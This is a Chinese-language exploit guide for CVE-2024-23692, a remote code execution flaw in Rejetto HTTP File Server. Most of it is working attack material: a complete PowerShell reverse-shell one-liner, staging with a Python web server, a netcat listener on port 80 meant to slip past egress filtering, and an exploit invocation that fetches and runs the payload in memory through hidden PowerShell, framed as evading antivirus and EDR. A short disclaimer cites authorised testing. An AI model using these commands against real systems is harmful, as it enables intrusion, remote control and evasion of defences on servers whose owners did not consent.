
一份针对 CVE-2024-23692 的战术文档与漏洞利用指南。该漏洞是一个未经身份验证的严重远程代码执行 (RCE) 漏洞,影响 2.3m 之前的 Rejetto HTTP File Server (HFS) 版本。本指南利用 内存反弹 Shell(仅 RAM)技术,成功规避基于签名的杀毒软件/EDR 磁盘写入检测。
免责声明: 本仓库及其内容严格用于授权的安全评估、渗透测试项目、漏洞赏金模拟以及防御性取证审计。未经授权对第三方环境进行利用是严格违法的。
本概念验证工作流中实现的自动化检查模板基于以下公开仓库构建:
此方法采用 HTTP 分阶段部署模型,将基于文本的 payload 字符串动态投递到目标环境,直接从系统易失性内存 (RAM) 中调用实时执行。
在本地 C2/攻击者服务器上,创建一个名为 index.html 的静态文本文件,并填入以下核心 PowerShell TCP Socket 循环代码:
\$c = New-Object System.Net.Sockets.TCPClient('<LHOST>',80);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){;\$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);\$sb = (iex \$d 2>&1 | Out-String );\$sb2 = \$sb + 'PS ' + (pwd).Path + '> ';\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush()};\$c.Close()
在包含 payload 模板文件的指定暂存文件夹中打开一个终端实例,然后在备用端口(例如 8080)上启动一个即时 Python HTTP 监听器:
python3 -m http.server 8080
打开第二个独立的终端会话,用于承载传入的持久 Shell 回调。强烈建议使用端口 80(或 443),以便轻松绕过出站边界防护措施(出口防火墙过滤):
sudo nc -lvnp 80
针对你的部署基础设施启动自动化验证引擎。目标调用通过本地化的 CMD 执行包装器挂钩命令解析,以保持最佳字符串稳定性,同时不丢弃参数标志:
./CVE-2024-23692.sh http://<TARGET_IP>:<PORT> "cmd /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>')\""

要彻底清除入侵并修复存在漏洞的运行环境:
Get-Process -Name *hfs* | Stop-Process -Force
Remove-Item -Path "C:\Users\Public\*.exe" -Force -ErrorAction SilentlyContinue